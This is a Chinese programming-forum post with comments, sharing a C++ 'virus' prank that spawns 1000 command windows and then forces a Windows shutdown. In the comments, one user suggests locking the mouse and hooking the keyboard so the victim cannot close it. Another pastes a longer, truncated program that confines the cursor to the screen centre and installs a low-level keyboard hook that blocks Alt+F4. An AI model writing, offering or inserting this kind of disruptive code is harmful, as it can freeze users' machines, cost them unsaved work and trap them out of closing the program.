千万不要运行
2026-08-10 20:59:05
发布于:浙江
#include<bits/stdc++.h>
#include<Windows.h>
using namespace std;
int main()
{
cout<<"这是一个病毒程序(真的)\n";
Sleep(1000);
cout<<"现在关掉程序还来得及\n";
Sleep(1000);
cout<<"第一关\n";
Sleep(1000);
for(int i=1;i<=1000;i++)
{
system("start");
}
Sleep(60000);
cout<<"还有第二关\n";
system("shutdown /s /t 60");
return 0;
}
全部评论 12
- 置顶
后果自负
1周前 来自 浙江
0代码能运行就行 团队火热招募中!
立即点击链接加入我们:https://www.acgo.cn/application/1966730825962467328
我们致力于打造高质量的C++模板库,汇聚各路编程爱好者。
加入团队,你可以:贡献和使用优质模板,提升效率;与同好交流技术,共同进步;享受团队专属福利与资源支持。如有任何疑问,欢迎私信我,我会尽快解答。
1周前 来自 浙江
0
d
1周前 来自 北京
1666
1周前 来自 贵州
1















1周前 来自 浙江
1代码的意思是:说:这是一个病毒程序(真的)
等待1秒
说:现在关掉程序还来得及
等待一秒
说:第一关
等待一秒
弹出1000个cmd窗口
等待60秒
说:还有第二关
60秒有关机
这个代码仅仅涉及到了等待(Sleep),弹出窗口(start)和关机(shutdown /s /t 60)
建议加上锁定鼠标(不让关掉程序:SetCursorPos(0,0)(锁定在左上角))+键盘钩子(拦截关窗口的快捷键:Alt+F4)1周前 来自 浙江
1DEEPSEEK都不需要
1周前 来自 浙江
0学2分钟的Windows.h头文件就会
1周前 来自 浙江
0比如MC讨论社的代码就是这样:
#include <bits/stdc++.h> #include <string> #ifdef _WIN32 #include <windows.h> #endif void setGreenText() { #ifdef _WIN32 HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); #else std::cout << "\033[92m"; #endif } void resetTextColor() { #ifdef _WIN32 HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); #else std::cout << "\033[0m"; #endif } HHOOK g_hKeyboardHook = NULL; LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam; if (pKeyStruct->vkCode == VK_F4 && (pKeyStruct->flags & LLKHF_ALTDOWN)) { return 1; } } return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam); } void InstallHook() { g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0); if (g_hKeyboardHook == NULL) { } } void UninstallHook() { if (g_hKeyboardHook) { UnhookWindowsHookEx(g_hKeyboardHook); g_hKeyboardHook = NULL; } } using namespace std; int main() { int screenWidth = GetSystemMetrics(SM_CXSCREEN); int screenHeight = GetSystemMetrics(SM_CYSCREEN); int centerX = screenWidth / 2; int centerY = screenHeight / 2; RECT centerRect = {centerX - 1, centerY - 1, centerX + 1, centerY + 1}; ClipCursor(¢erRect); setGreenText(); InstallHook(); MSG msg; cout<<"开始编译"<<endl<<"Startcompiling"<<endl<<endl; char c=rand()%33+70; for(int i=1;i<=int(c);i++){ char a=rand()%33; for(int j=1;j<=a;j++){ char c=rand()%33+90; cout<<c; TranslateMessage(&msg); DispatchMessage(&msg); Sleep(2); } cout<<endl; Sleep(1周前 来自 浙江
1
看到关机代码了
1周前 来自 浙江
01
1周前 来自 浙江
01
1周前 来自 浙江
0㇏
1周前 来自 浙江
0我为了罐头我来发评论了,不满意可以删评
1周前 来自 浙江
0编译错误: /code/judger/test/2086364230020505600/main.cpp:122:9: fatal error: Windows.h: No such file or directory
122 | #include<Windows.h>
| ^~~~~~~~~~~
compilation terminated.1周前 来自 上海
0加上-std=c++11
1周前 来自 浙江
0还有怎么是122行啊,不应该是前10行吗
1周前 来自 浙江
0因为我在这个里面存了很多个代码。
1周前 来自 上海
0
really?
1周前 来自 湖北
0yes
1周前 来自 浙江
0ok,我很
不听劝1周前 来自 湖北
0














































有帮助,赞一个